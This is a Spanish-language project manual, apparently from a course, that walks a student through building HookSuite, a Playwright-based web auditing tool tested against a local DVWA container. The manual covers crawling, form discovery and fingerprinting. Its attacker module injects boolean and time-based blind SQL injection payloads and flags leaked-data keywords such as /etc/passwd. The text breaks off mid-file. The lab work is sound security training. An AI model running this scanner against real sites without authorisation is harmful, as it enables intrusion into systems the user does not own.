

HookSuite — Manual Técnico P3 Playwright

Proyecto: HookSuite

Rol: P3 — Playwright / Automatización

Stack: Python + Playwright + asyncio + Claude Code

Última actualización: Abril 2026

Antes de empezar

Este manual es tu guía completa de trabajo en el proyecto HookSuite. Está diseñado para que puedas trabajar de forma autónoma desde cualquier lugar y en cualquier momento. Cada paso está detallado al máximo para que no tengas que detenerte a investigar cómo hacer algo.

Cuando un paso requiere que te coordines con otro rol, el manual te lo indica claramente con este bloque:

🔥 **CONTACTO CON P2 Backend** — Lo que necesitas pedirle y cuándo.

Cuando un paso es complejo y la IA puede ayudarte, encontrarás este bloque con el prompt listo para copiar y pegar:

🤖 **PROMPT DE IA** — Copia este prompt en Claude Code o Claude.ai y obtendrás exactamente lo que necesitas.

Buena noticia sobre tu rol: P3 es el rol con más autonomía durante las dos primeras semanas. La mayoría de tu trabajo es independiente y no necesitas esperar a ningún compañero para avanzar. Tu única dependencia crítica llega en la semana 3 cuando conectas con el módulo de IA de P5.

Herramientas que necesitas tener instaladas

Antes de empezar con el paso 1, verifica que tienes todo instalado:

- **Python 3.11 o superior** — Verifica con `python --version`.
 - **pip** — Verifica con `pip --version`.
 - **Git** — Verifica con `git --version`.
 - **Docker Desktop** — Para levantar DVWA localmente. Descarga desde docker.com.
 - **Node.js 20 o superior** — Playwright necesita Node.js aunque lo uses desde Python. Verifica con `node --version`.
 - **Claude Code** — El cliente de terminal de Anthropic. Úsalo para los prompts de IA de este manual.
 - **Visual Studio Code** — O el editor que prefieras.
-

BLOQUE 01 — Setup y configuración de Playwright

Paso 1 — Clonar el repositorio y crear tu rama de trabajo

1.1 Abre la terminal y navega a la carpeta donde quieres trabajar.

1.2 Clona el repositorio de HookSuite:

```
git clone https://github.com/[URL-DEL-REPO]/hooksuite.git
cd hooksuite
```

1.3 Crea tu rama de trabajo:

```
git checkout -b feature/playwright
```

1.4 Navega a la carpeta de Playwright:

```
cd playwright
```

Paso 2 — Configurar el entorno Python

2.1 Crea el entorno virtual:

```
python -m venv venv
```

2.2 Actívalo:

En Mac/Linux:

```
source venv/bin/activate
```

En Windows:

```
venv\Scripts\activate
```

2.3 Crea el archivo `requirements.txt`:

```
playwright==1.44.0
asyncio==3.4.3
httpx==0.27.0
python-dotenv==1.0.1
```

2.4 Instala las dependencias:

```
pip install -r requirements.txt
```

2.5 Instala los navegadores de Playwright. Este paso descarga Chromium, Firefox y WebKit:

```
playwright install
```

Cuando termine verás algo como:

```
Downloading Chromium 124.0...  
Playwright build of chromium v1105 downloaded to...
```

2.6 Verifica que Playwright funciona correctamente creando un script de prueba `test_playwright.py`:

```
import asyncio  
from playwright.async_api import async_playwright  
  
async def main():  
    async with async_playwright() as p:  
        browser = await p.chromium.launch(headless=True)  
        page = await browser.new_page()  
        await page.goto('https://example.com')  
        title = await page.title()  
        print(f"✓ Playwright funciona. Título de la página: {title}")  
        await browser.close()  
  
asyncio.run(main())
```

2.7 Ejecuta el script de prueba:

```
python test_playwright.py
```

Debes ver: ✓ Playwright funciona. Título de la página: Example Domain

Si lo ves, el setup está completo. Elimina el archivo de prueba:

```
rm test_playwright.py
```

Paso 3 — Levantar el entorno de pruebas DVWA

DVWA (Damn Vulnerable Web Application) es la aplicación web vulnerable que usarás para desarrollar y probar todo el módulo de Playwright. Nunca pruebes contra webs reales sin autorización.

3.1 Levanta DVWA con Docker:

```
docker run -d \  
  --name dvwa \  
  -p 8888:80 \  
  vulnerables/web-dvwa
```

3.2 Espera 10 segundos y abre el navegador en <http://localhost:8888>.

3.3 Haz login con las credenciales por defecto:

- Usuario: `admin`
- Contraseña: `password`

3.4 Si aparece la pantalla de setup de la base de datos, haz clic en "Create / Reset Database" y luego vuelve a hacer login.

3.5 Una vez dentro, ve a **DVWA Security** en el menú izquierdo y cambia el nivel a **Low**. Haz clic en Submit.

3.6 Verifica que Playwright puede acceder a DVWA creando un script rápido `test_dvwa.py`:

```
import asyncio  
from playwright.async_api import async_playwright  
  
async def main():  
    async with async_playwright() as p:  
        browser = await p.chromium.launch(headless=True)  
        page = await browser.new_page()  
        await page.goto('http://localhost:8888/login.php')  
        await page.fill('#user_token', '')  
        await page.fill('input[name="username"]', 'admin')  
        await page.fill('input[name="password"]', 'password')  
        await page.click('input[type="submit"]')  
        await page.wait_for_load_state('networkidle')  
        title = await page.title()  
        print(f"✓ Login en DVWA exitoso. Título: {title}")  
        await browser.close()  
  
asyncio.run(main())
```

3.7 Ejecuta:

```
python test_dvwa.py
```

Debes ver: ✓ Login en DVWA exitoso. Título: Vulnerability: Brute Force :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*

Elimina el script:

```
rm test_dvwa.py
```

Paso 4 — Crear la estructura de carpetas

4.1 Crea la estructura de carpetas dentro de `playwright/`:

```
mkdir -p core
mkdir -p modules
mkdir -p results
mkdir -p utils
```

4.2 La estructura final debe quedar así:

```
playwright/
├── core/
│   ├── __init__.py
│   ├── browser.py      ← Gestión del navegador y contextos
│   └── auth.py         ← Gestión de autenticación
├── modules/
│   ├── __init__.py
│   ├── spider.py       ← Crawler y reconocimiento
│   ├── forms.py        ← Descubrimiento y automatización de formularios
│   ├── fingerprint.py  ← Detección de tecnologías
│   └── attacker.py     ← Automatización de ataques
├── results/            ← Carpeta donde se guardan capturas y logs
├── utils/
│   ├── __init__.py
│   └── reporter.py     ← Envío de eventos al backend
├── main.py             ← Punto de entrada
├── requirements.txt
└── .env
```

4.3 Crea todos los archivos `__init__.py`:

```
touch core/__init__.py modules/__init__.py utils/__init__.py
```

4.4 Crea el archivo `.env`:

```
BACKEND_URL=http://localhost:8000
DVWA_URL=http://localhost:8888
DVWA_USER=admin
DVWA_PASS=password
HEADLESS=true
MAX_PARALLEL_PAGES=3
```

4.5 Commit inicial:

```
git add .
git commit -m "feat(playwright): estructura base y setup de entorno"
git push origin feature/playwright
```

Paso 5 — Crear el gestor del navegador con optimización de velocidad

Este es el módulo central que todos los demás usan. La optimización de velocidad que indicó el profesor se implementa aquí desde el principio.

5.1 Crea el archivo `core/browser.py`:

```
import asyncio
from playwright.async_api import async_playwright, Browser, BrowserContext, Page
from dotenv import load_dotenv
import os

load_dotenv()

HEADLESS = os.getenv("HEADLESS", "true").lower() == "true"
MAX_PARALLEL = int(os.getenv("MAX_PARALLEL_PAGES", "3"))

class BrowserManager:
    def __init__(self):
        self.playwright = None
        self.browser: Browser = None
        self._semaphore = asyncio.Semaphore(MAX_PARALLEL)

    async def start(self):
        self.playwright = await async_playwright().start()
        self.browser = await self.playwright.chromium.launch(
            headless=HEADLESS,
            args=[
                '--no-sandbox',
                '--disable-setuid-sandbox',
                '--disable-dev-shm-usage',
            ]
        )
        print(f"✓ Navegador iniciado (headless={HEADLESS}, max_parallel=
```

```

{MAX_PARALLEL}})")

    async def stop(self):
        if self.browser:
            await self.browser.close()
        if self.playwright:
            await self.playwright.stop()

    async def new_context(self, extra_headers: dict = None) -> BrowserContext:
        context = await self.browser.new_context(
            extra_http_headers=extra_headers or {},
            ignore_https_errors=True,
        )
        return context

    async def new_page(self, context: BrowserContext = None) -> Page:
        if context is None:
            context = await self.new_context()
        page = await context.new_page()

        # OPTIMIZACIÓN CRÍTICA: desactivar la simulación de pulsaciones tecla a
        # tecla
        # page.fill() pasa el texto completo de una vez → 60x más rápido que
        # page.type()
        # Esta configuración se aplica a todas las páginas creadas con este
        # manager

        return page

    async def run_in_parallel(self, tasks: list):
        async def run_with_semaphore(task):
            async with self._semaphore:
                return await task

        return await asyncio.gather(*[run_with_semaphore(t) for t in tasks])

browser_manager = BrowserManager()

```

5.2 Verifica la optimización de velocidad. Crea un script de benchmark temporal `benchmark.py`:

```

import asyncio
import time
from core.browser import browser_manager

async def main():
    await browser_manager.start()
    context = await browser_manager.new_context()
    page = await browser_manager.new_page(context)
    await page.goto('http://localhost:8888/login.php')

    texto_largo = "Este es un texto de prueba bastante largo para medir la
    diferencia de velocidad entre page.type y page.fill en Playwright"

```

```
# Método LENTO: page.type (simula pulsación tecla a tecla)
start = time.time()
await page.type('input[name="username"]', texto_largo)
tiempo_type = time.time() - start
await page.fill('input[name="username"]', '')

# Método RÁPIDO: page.fill (pasa el texto completo de una vez)
start = time.time()
await page.fill('input[name="username"]', texto_largo)
tiempo_fill = time.time() - start

mejora = tiempo_type / tiempo_fill if tiempo_fill > 0 else 0
print(f"page.type(): {tiempo_type:.3f}s")
print(f"page.fill(): {tiempo_fill:.3f}s")
print(f"Mejora de velocidad: x{mejora:.1f}")

await browser_manager.stop()

asyncio.run(main())
```

```
python benchmark.py
```

Debes ver una mejora de velocidad de al menos x30. Guarda estos resultados como evidencia para el informe PDF. Luego elimina el script:

```
rm benchmark.py
```

BLOQUE 02 — Navegación y reconocimiento automático

Paso 6 — Crear el sistema de autenticación

6.1 Crea el archivo `core/auth.py`:

```
from playwright.async_api import Page, BrowserContext
from dotenv import load_dotenv
import os

load_dotenv()

async def login_dvwa(page: Page) -> bool:
    dvwa_url = os.getenv("DVWA_URL", "http://localhost:8888")
    username = os.getenv("DVWA_USER", "admin")
    password = os.getenv("DVWA_PASS", "password")
```



```
try:
    await page.goto(f"{dvwa_url}/login.php", wait_until="networkidle")

    await page.fill('input[name="username"]', username)
    await page.fill('input[name="password"]', password)
    await page.click('input[type="submit"]')

    await page.wait_for_load_state("networkidle")

    if "login.php" not in page.url:
        print(f"✓ Login exitoso en DVWA como {username}")
        return True
    else:
        print("X Login fallido en DVWA")
        return False

except Exception as e:
    print(f"X Error durante el login: {e}")
    return False

async def login_generic(page: Page, login_url: str, username: str, password: str,
                        username_selector: str = 'input[name="username"]',
                        password_selector: str = 'input[name="password"]',
                        submit_selector: str = 'input[type="submit"]') -> bool:
    try:
        await page.goto(login_url, wait_until="networkidle")
        await page.fill(username_selector, username)
        await page.fill(password_selector, password)
        await page.click(submit_selector)
        await page.wait_for_load_state("networkidle")
        return login_url not in page.url
    except Exception as e:
        print(f"X Error en login genérico: {e}")
        return False

async def save_session(context: BrowserContext, filepath: str =
"results/session.json"):
    await context.storage_state(path=filepath)
    print(f"✓ Sesión guardada en {filepath}")

async def load_session(browser_manager, filepath: str = "results/session.json"):
    import os
    if not os.path.exists(filepath):
        return None
    context = await browser_manager.browser.new_context(
        storage_state=filepath,
        ignore_https_errors=True,
    )
    print(f"✓ Sesión cargada desde {filepath}")
    return context
```

Paso 7 — Crear el spider / crawler

7.1 Crea el archivo `modules/spider.py`:

```
import asyncio
from urllib.parse import urlparse, urljoin
from playwright.async_api import Page
from typing import Set, List, Dict
import json
import os

class Spider:
    def __init__(self, base_url: str, max_pages: int = 50):
        self.base_url = base_url
        self.base_domain = urlparse(base_url).netloc
        self.max_pages = max_pages
        self.visited: Set[str] = set()
        self.queue: List[str] = [base_url]
        self.discovered_urls: List[str] = []

    def is_same_domain(self, url: str) -> bool:
        parsed = urlparse(url)
        return parsed.netloc == self.base_domain or parsed.netloc == ''

    def normalize_url(self, url: str, current_url: str) -> str:
        if url.startswith('http'):
            return url.split('#')[0]
        if url.startswith('/'):
            parsed = urlparse(current_url)
            return f"{parsed.scheme}://{parsed.netloc}{url.split('#')[0]}"
        return urljoin(current_url, url).split('#')[0]

    def should_skip(self, url: str) -> bool:
        skip_extensions = ['.css', '.js', '.png', '.jpg', '.gif', '.svg',
                           '.ico', '.woff', '.woff2', '.ttf', '.pdf', '.zip']
        skip_patterns = ['logout', 'javascript:', 'mailto:', 'tel:']

        url_lower = url.lower()
        for ext in skip_extensions:
            if url_lower.endswith(ext):
                return True
        for pattern in skip_patterns:
            if pattern in url_lower:
                return True
        return False

    async def crawl_page(self, page: Page, url: str) -> List[str]:
        if url in self.visited or len(self.visited) >= self.max_pages:
            return []

        self.visited.add(url)
        found_urls = []
```

```

try:
    await page.goto(url, wait_until="domcontentloaded", timeout=15000)

    links = await page.query_selector_all('a[href]')
    for link in links:
        href = await link.get_attribute('href')
        if not href:
            continue

        normalized = self.normalize_url(href, url)

        if (self.is_same_domain(normalized) and
            normalized not in self.visited and
            normalized not in self.queue and
            not self.should_skip(normalized)):
            found_urls.append(normalized)

    print(f" → {url} ({len(found_urls)} enlaces nuevos)")

except Exception as e:
    print(f" X Error en {url}: {e}")

return found_urls

async def run(self, page: Page) -> List[str]:
    print(f"\n🕷 Iniciando spider en {self.base_url}")
    print(f" Máximo de páginas: {self.max_pages}")

    while self.queue and len(self.visited) < self.max_pages:
        current_url = self.queue.pop(0)
        new_urls = await self.crawl_page(page, current_url)
        self.queue.extend(new_urls)
        self.discovered_urls = list(self.visited)

    print(f"\n✓ Spider completado: {len(self.discovered_urls)} URLs
descubiertas")
    return self.discovered_urls

def save_results(self, filepath: str = "results/spider_results.json"):
    os.makedirs("results", exist_ok=True)
    with open(filepath, 'w') as f:
        json.dump({
            "base_url": self.base_url,
            "discovered_urls": self.discovered_urls,
            "total": len(self.discovered_urls)
        }, f, indent=2)
    print(f"✓ Resultados del spider guardados en {filepath}")

```

7.2 Prueba el spider con DVWA. Crea un script temporal `test_spider.py`:

```

import asyncio
from core.browser import browser_manager

```

```
from core.auth import login_dvwa
from modules.spider import Spider

async def main():
    await browser_manager.start()
    context = await browser_manager.new_context()
    page = await browser_manager.new_page(context)

    await login_dvwa(page)

    spider = Spider(base_url="http://localhost:8888", max_pages=20)
    urls = await spider.run(page)
    spider.save_results()

    print(f"\nURLs descubiertas:")
    for url in urls:
        print(f"  - {url}")

    await browser_manager.stop()

asyncio.run(main())
```

```
python test_spider.py
```

Debes ver una lista de URLs de DVWA descubiertas automáticamente. Si funciona, guarda el resultado como evidencia y elimina el script:

```
rm test_spider.py
```

Paso 8 — Crear el descubridor de formularios

8.1 Crea el archivo `modules/forms.py`:

```
from playwright.async_api import Page
from typing import List, Dict, Optional
import json
import os

class FormDiscoverer:
    async def discover_forms(self, page: Page, url: str) -> List[Dict]:
        forms = []
        try:
            await page.goto(url, wait_until="domcontentloaded", timeout=15000)
            form_elements = await page.query_selector_all('form')

            for i, form in enumerate(form_elements):
```

```

        action = await form.get_attribute('action') or url
        method = (await form.get_attribute('method') or 'GET').upper()

        if not action.startswith('http'):
            from urllib.parse import urljoin
            action = urljoin(url, action)

    fields = []
    inputs = await form.query_selector_all('input, select, textarea')
    for input_el in inputs:
        field_type = await input_el.get_attribute('type') or 'text'
        field_name = await input_el.get_attribute('name') or ''
        field_value = await input_el.get_attribute('value') or ''

        if field_type.lower() in ['submit', 'button', 'image',
'reset']:
            continue

        fields.append({
            "name": field_name,
            "type": field_type,
            "value": field_value,
        })

    if fields:
        forms.append({
            "url": url,
            "action": action,
            "method": method,
            "fields": fields,
            "injectable_fields": [f for f in fields if f["type"] in
'hidden', 'password']],
        })

    print(f" → {url}: {len(forms)} formularios encontrados")

except Exception as e:
    print(f" X Error en {url}: {e}")

return forms

async def discover_ajax_endpoints(self, page: Page, url: str) -> List[Dict]:
    ajax_requests = []

    async def handle_request(request):
        if request.resource_type in ['xhr', 'fetch']:
            ajax_requests.append({
                "url": request.url,
                "method": request.method,
                "headers": dict(request.headers),
            })

    page.on("request", handle_request)

```

```

try:
    await page.goto(url, wait_until="networkidle", timeout=20000)

    clickable = await page.query_selector_all('button, a, [onclick]')
    for element in clickable[:10]:
        try:
            await element.click(timeout=2000)
            await page.wait_for_timeout(500)
        except Exception:
            pass

except Exception as e:
    print(f" X Error descubriendo AJAX en {url}: {e}")
finally:
    page.remove_listener("request", handle_request)

return ajax_requests

async def scan_all_pages(self, page: Page, urls: List[str]) -> List[Dict]:
    all_forms = []
    for url in urls:
        forms = await self.discover_forms(page, url)
        all_forms.extend(forms)

    print(f"\n✓ Descubrimiento completado: {len(all_forms)} formularios en
    {len(urls)} páginas")
    return all_forms

def save_results(self, forms: List[Dict], filepath: str =
"results/forms_discovered.json"):
    os.makedirs("results", exist_ok=True)
    with open(filepath, 'w') as f:
        json.dump({"forms": forms, "total": len(forms)}, f, indent=2)
    print(f"✓ Formularios guardados en {filepath}")

```

 **PROMPT DE IA** — Si el descubridor no detecta ciertos tipos de formularios:

Tengo un módulo Python que usa Playwright para descubrir formularios HTML en páginas web para el proyecto HookSuite. El problema es que no detecta [describe el problema: formularios dinámicos con JavaScript / formularios dentro de iframes / formularios con shadow DOM]. Aquí está el código actual: [pega el código del método discover_forms]. ¿Cómo lo mejoro para cubrir este caso?

Paso 9 — Crear el fingerprinting de tecnologías

9.1 Crea el archivo `modules/fingerprint.py`:

```

from playwright.async_api import Page, Response
from typing import Dict, List
import re
import json
import os

class TechFingerprinter:
    TECH_SIGNATURES = {
        "PHP": {
            "headers": ["X-Powered-By: PHP"],
            "cookies": ["PHPSESSID"],
            "url_patterns": [r"\.php(?:|$)"],
        },
        "ASP.NET": {
            "headers": ["X-Powered-By: ASP.NET", "X-AspNet-Version"],
            "cookies": ["ASP.NET_SessionId", "ASPSESSIONID"],
            "url_patterns": [r"\.aspx(?:|$)"],
        },
        "Java": {
            "cookies": ["JSESSIONID"],
            "url_patterns": [r"\.jsp(?:|$)", r"\.do(?:|$)"],
        },
        "WordPress": {
            "url_patterns": [r"/wp-content/", r"/wp-admin/", r"/wp-login\.php"],
            "html_patterns": [r"wp-content", r"wordpress"],
        },
        "Nginx": {
            "headers": ["Server: nginx"],
        },
        "Apache": {
            "headers": ["Server: Apache"],
        },
        "MySQL": {
            "error_patterns": [r"You have an error in your SQL syntax",
r"mysql_fetch"],
        },
        "jQuery": {
            "html_patterns": [r"jquery\.min\.js", r"jquery-\d+\.\d+"],
        },
        "Bootstrap": {
            "html_patterns": [r"bootstrap\.min\.css", r"bootstrap\.min\.js"],
        },
    }

    def __init__(self):
        self.detected_tech = {}
        self.response_headers = {}
        self.cookies = {}

    async def fingerprint(self, page: Page, url: str) -> Dict:
        detected = {}
        response_headers = {}

```

```
async def handle_response(response: Response):
    if response.url == url or url in response.url:
        try:
            response_headers.update(dict(response.headers))
        except Exception:
            pass

page.on("response", handle_response)

try:
    await page.goto(url, wait_until="networkidle", timeout=20000)
    html_content = await page.content()

    cookies = await page.context.cookies()
    cookie_names = [c['name'] for c in cookies]

    for tech, signatures in self.TECH_SIGNATURES.items():
        tech_detected = False

        for header_sig in signatures.get("headers", []):
            header_name, header_value = header_sig.split(": ", 1)
            if header_name.lower() in response_headers:
                if header_value.lower() in
response_headers[header_name.lower()].lower():
                    tech_detected = True
                    break

        if not tech_detected:
            for cookie_sig in signatures.get("cookies", []):
                if cookie_sig in cookie_names:
                    tech_detected = True
                    break

        if not tech_detected:
            for url_pattern in signatures.get("url_patterns", []):
                if re.search(url_pattern, url, re.IGNORECASE):
                    tech_detected = True
                    break

        if not tech_detected:
            for html_pattern in signatures.get("html_patterns", []):
                if re.search(html_pattern, html_content, re.IGNORECASE):
                    tech_detected = True
                    break

        if tech_detected:
            detected[tech] = True

except Exception as e:
    print(f"X Error en fingerprinting de {url}: {e}")
finally:
    page.remove_listener("response", handle_response)
```



```

server = response_headers.get("server", "Unknown")
powered_by = response_headers.get("x-powered-by", None)

result = {
    "url": url,
    "technologies": list(detected.keys()),
    "server": server,
    "powered_by": powered_by,
    "response_headers": response_headers,
    "attack_priorities": self._get_attack_priorities(detected),
}

print(f"✓ Tecnologías detectadas en {url}: {result['technologies']}")
self.save_results(result)
return result

def _get_attack_priorities(self, detected: Dict) -> List[str]:
    priorities = []

    if "PHP" in detected or "MySQL" in detected:
        priorities.extend(["sqli", "blind_sql", "file_inclusion"])
    if "ASP.NET" in detected:
        priorities.extend(["sqli", "xss", "viewstate"])
    if "WordPress" in detected:
        priorities.extend(["sqli", "xss", "plugin_vulnerabilities"])
    if not priorities:
        priorities.extend(["xss", "sqli", "fuzzing"])

    return list(dict.fromkeys(priorities))

def save_results(self, result: Dict, filepath: str =
"results/fingerprint.json"):
    os.makedirs("results", exist_ok=True)
    with open(filepath, 'w') as f:
        json.dump(result, f, indent=2)

```

Paso 10 — Commit del bloque de reconocimiento

```

git add .
git commit -m "feat(playwright): spider, descubridor de formularios y
fingerprinting"
git push origin feature/playwright

```

BLOQUE 03 — Automatización de interacciones y ataques

Paso 11 — Crear el módulo de automatización de ataques

11.1 Crea el archivo `modules/attacker.py`:

```
import asyncio
import time
from playwright.async_api import Page, BrowserContext
from typing import Dict, List, Optional
import json
import os
from datetime import datetime

class WebAttacker:
    def __init__(self):
        self.results = []
        self.screenshots_dir = "results/screenshots"
        os.makedirs(self.screenshots_dir, exist_ok=True)

    async def take_screenshot(self, page: Page, name: str) -> str:
        filepath = f"{self.screenshots_dir}/{name}_{int(time.time())}.png"
        await page.screenshot(path=filepath, full_page=True)
        return filepath

    async def fill_form_with_payload(
        self,
        page: Page,
        form: Dict,
        target_field: str,
        payload: str,
    ) -> Dict:
        result = {
            "form_url": form["url"],
            "action": form["action"],
            "method": form["method"],
            "target_field": target_field,
            "payload": payload,
            "timestamp": datetime.utcnow().isoformat(),
        }

        try:
            await page.goto(form["url"], wait_until="domcontentloaded",
            timeout=15000)

            screenshot_before = await self.take_screenshot(page,
            f"before_{target_field[:20]}")
            result["screenshot_before"] = screenshot_before

            for field in form["fields"]:
                if not field["name"]:
                    continue

                selector = f'[name="{field["name"]}"]'
                try:
                    if field["name"] == target_field:
                        # CAMPO OBJETIVO: inyectar el payload
```

```

        await page.fill(selector, payload)
    elif field["type"] == "hidden":
        pass
    elif field["type"] in ["text", "email", "search", "url"]:
        # Otros campos: rellenar con valores válidos para poder
enviar el formulario
        await page.fill(selector, "test_value")
    elif field["type"] == "password":
        await page.fill(selector, "password123")
except Exception:
    pass

start_time = time.time()

submit_selectors = [
    'input[type="submit"]',
    'button[type="submit"]',
    'button:has-text("Submit")',
    'button:has-text("Login")',
    'input[type="button"]',
]

submitted = False
for selector in submit_selectors:
    try:
        await page.click(selector, timeout=3000)
        submitted = True
        break
    except Exception:
        continue

if not submitted:
    await page.keyboard.press("Enter")

await page.wait_for_load_state("networkidle", timeout=10000)
elapsed = int((time.time() - start_time) * 1000)

response_body = await page.content()
screenshot_after = await self.take_screenshot(page,
f"after_{target_field[:20]}")

result.update({
    "response_url": page.url,
    "response_body_snippet": response_body[:2000],
    "time_ms": elapsed,
    "screenshot_after": screenshot_after,
    "status": "completed",
})

result["anomalies"] = self._detect_anomalies(
    payload, response_body, elapsed, form["url"]
)

except Exception as e:

```

```

        result["status"] = "error"
        result["error"] = str(e)
        result["anomalies"] = []

    return result

def _detect_anomalies(self, payload: str, response_body: str, elapsed_ms: int,
original_url: str) -> List[str]:
    anomalies = []
    body_lower = response_body.lower()

    sql_errors = [
        "you have an error in your sql syntax",
        "mysql_fetch", "ora-", "pg_query",
        "sqlite_", "unclosed quotation mark",
        "quoted string not properly terminated",
    ]
    for error in sql_errors:
        if error in body_lower:
            anomalies.append(f"SQL_ERROR: {error}")

    if elapsed_ms > 5000:
        anomalies.append(f"SLOW_RESPONSE: {elapsed_ms}ms (posible Blind SQLi
time-based)")

    xss_indicators = ["<script>", "alert(", "onerror=", "onload="]
    for indicator in xss_indicators:
        if indicator.lower() in body_lower and indicator.lower() in
payload.lower():
            anomalies.append(f"XSS_REFLECTED: payload reflejado en respuesta")
            break

    sensitive_keywords = ["root:", "/etc/passwd", "secret", "private_key",
"api_key"]
    for keyword in sensitive_keywords:
        if keyword in body_lower:
            anomalies.append(f"SENSITIVE_DATA: '{keyword}' encontrado en
respuesta")

    return anomalies

async def test_sql_i_blind_boolean(
    self,
    page: Page,
    form: Dict,
    target_field: str,
    base_value: str = "1",
) -> Dict:
    print(f"\n 🔍 Iniciando Blind SQLi boolean en campo '{target_field}'")

    true_form = dict(form)
    false_form = dict(form)

    result_true = await self.fill_form_with_payload(

```

```

        page, true_form, target_field, f"{base_value}' AND '1'='1"
    )

    result_false = await self.fill_form_with_payload(
        page, false_form, target_field, f"{base_value}' AND '1'='2"
    )

    true_len = len(result_true.get("response_body_snippet", ""))
    false_len = len(result_false.get("response_body_snippet", ""))
    difference = abs(true_len - false_len)

    is_vulnerable = difference > 100

    result = {
        "type": "blind_sqli_boolean",
        "target_field": target_field,
        "true_response_length": true_len,
        "false_response_length": false_len,
        "difference": difference,
        "vulnerable": is_vulnerable,
        "confidence": "high" if difference > 500 else "medium" if difference >
100 else "low",
    }

    if is_vulnerable:
        print(f"  ⚠️  POSIBLE Blind SQLi detectado! Diferencia: {difference}
caracteres")
    else:
        print(f"  ✓ Sin indicios de Blind SQLi (diferencia: {difference}
caracteres)")

    return result

async def test_sqli_blind_timebased(
    self,
    page: Page,
    form: Dict,
    target_field: str,
    base_value: str = "1",
    sleep_seconds: int = 5,
) -> Dict:
    print(f"\n  🔍 Iniciando Blind SQLi time-based en campo
'{target_field}')
```

```

    payloads = [
        f"{base_value}'; SLEEP({sleep_seconds})--",
        f"{base_value}' AND SLEEP({sleep_seconds})--",
        f"{base_value}; WAITFOR DELAY '0:0:{sleep_seconds}'--",
    ]

    for payload in payloads:
        start = time.time()
        result = await self.fill_form_with_payload(page, form, target_field,
payload)
```

```

        elapsed = time.time() - start

        is_vulnerable = elapsed >= sleep_seconds * 0.8

        if is_vulnerable:
            print(f" ⚠️ Blind SQLi time-based detectado! Tiempo:
{elapsed:.1f}s con payload: {payload}")
            return {
                "type": "blind_sqli_timebased",
                "payload": payload,
                "elapsed_seconds": elapsed,
                "vulnerable": True,
                "confidence": "high",
            }

        return {
            "type": "blind_sqli_timebased",
            "vulnerable": False,
            "confidence": "low",
        }

    def save_results(self, filepath: str = "results/attack_results.json"):
        os.makedirs("results", exist_ok=True)
        with open(filepath, 'w') as f:
            json.dump({"results": self.results, "total": len(self.results)}, f,
            indent=2)
        print(f"✓ Resultados de ataque guardados en {filepath}")

```

 **PROMPT DE IA** — Si el módulo de ataque no funciona con un tipo específico de formulario o aplicación:

Tengo un módulo Python que usa Playwright para automatizar ataques de inyección SQL en formularios web para el proyecto HookSuite. El problema es que cuando intento atacar [describe el formulario o situación problemática], el resultado es [describe el problema]. Aquí está el código relevante: [pega el código]. ¿Cómo lo soluciono?

Paso 12 — Crear el sistema de reporte al backend

🧡 **CONTACTO CON P2 Backend** — Para enviar los eventos al backend necesitas que P2 tenga arrancado el servidor. La URL que usarás para enviar paquetes de red es `POST http://localhost:8000/api/network/packet`. Cuando P2 te confirme que ese endpoint está disponible, activa el envío en el reporter. Mientras tanto el reporter guarda los resultados solo en local.

12.1 Crea el archivo `utils/reporter.py`:

```

import httpx
import asyncio

```

```
import json
import os
from typing import Dict, Any
from dotenv import load_dotenv

load_dotenv()

BACKEND_URL = os.getenv("BACKEND_URL", "http://localhost:8000")

class EventReporter:
    def __init__(self, session_token: str = None):
        self.session_token = session_token or "playwright_default"
        self.backend_available = False
        self.local_log = []

    async def check_backend(self) -> bool:
        try:
            async with httpx.AsyncClient(timeout=5) as client:
                response = await client.get(f"{BACKEND_URL}/health")
                self.backend_available = response.status_code == 200
                if self.backend_available:
                    print(f"✓ Backend disponible en {BACKEND_URL}")
                return self.backend_available
        except Exception:
            print(f"⚠ Backend no disponible en {BACKEND_URL}. Guardando resultados en local.")
            self.backend_available = False
            return False

    async def send_network_packet(self, packet: Dict) -> bool:
        self.local_log.append({"type": "network_packet", "data": packet})

        if not self.backend_available:
            return False

        try:
            async with httpx.AsyncClient(timeout=10) as client:
                response = await client.post(
                    f"{BACKEND_URL}/api/network/packet/{self.session_token}",
                    json=packet
                )
                return response.status_code == 200
        except Exception as e:
            print(f"X Error enviando paquete al backend: {e}")
            return False

    async def send_vulnerability(self, vulnerability: Dict) -> bool:
        self.local_log.append({"type": "vulnerability", "data": vulnerability})

        if not self.backend_available:
            return False

        try:
            async with httpx.AsyncClient(timeout=10) as client:
```

```

        response = await client.post(
            f"{BACKEND_URL}/api/vulnerabilities",
            json=vulnerability
        )
        return response.status_code == 200
    except Exception as e:
        print(f"X Error enviando vulnerabilidad al backend: {e}")
        return False

    async def send_fingerprint(self, fingerprint: Dict) -> bool:
        self.local_log.append({"type": "fingerprint", "data": fingerprint})

        if not self.backend_available:
            return False

        try:
            async with httpx.AsyncClient(timeout=10) as client:
                response = await client.post(
                    f"{BACKEND_URL}/api/ia/fingerprint",
                    json=fingerprint
                )
                return response.status_code == 200
        except Exception as e:
            print(f"X Error enviando fingerprint al backend: {e}")
            return False

    def save_local_log(self, filepath: str = "results/events_log.json"):
        os.makedirs("results", exist_ok=True)
        with open(filepath, 'w') as f:
            json.dump(self.local_log, f, indent=2)
        print(f"✓ Log local guardado en {filepath} ({len(self.local_log)} eventos)")

```

Paso 13 — Crear el punto de entrada principal

13.1 Crea el archivo `main.py`:

```

import asyncio
import json
import os
from dotenv import load_dotenv

from core.browser import browser_manager
from core.auth import login_dwva
from modules.spider import Spider
from modules.forms import FormDiscoverer
from modules.fingerprint import TechFingerprinter
from modules.attacker import WebAttacker
from utils.reporter import EventReporter

```



```
load_dotenv()

TARGET_URL = os.getenv("DVWA_URL", "http://localhost:8888")

async def run_full_audit(target_url: str, session_token: str = None):
    print(f"\n{'='*60}")
    print(f"  HookSuite – Auditoría automática")
    print(f"  Objetivo: {target_url}")
    print(f"{'='*60}\n")

    reporter = EventReporter(session_token)
    await reporter.check_backend()

    await browser_manager.start()
    context = await browser_manager.new_context()
    page = await browser_manager.new_page(context)

    print("\n📄 FASE 1: Autenticación")
    authenticated = await login_dwva(page)
    if not authenticated:
        print("X No se pudo autenticar. Abortando.")
        await browser_manager.stop()
        return

    print("\n📄 FASE 2: Fingerprinting")
    fingerprinter = TechFingerprinter()
    fingerprint = await fingerprinter.fingerprint(page, target_url)
    await reporter.send_fingerprint(fingerprint)
    attack_priorities = fingerprint.get("attack_priorities", ["sqli", "xss"])
    print(f"  Prioridades de ataque: {attack_priorities}")

    print("\n📄 FASE 3: Reconocimiento (Spider)")
    spider = Spider(base_url=target_url, max_pages=15)
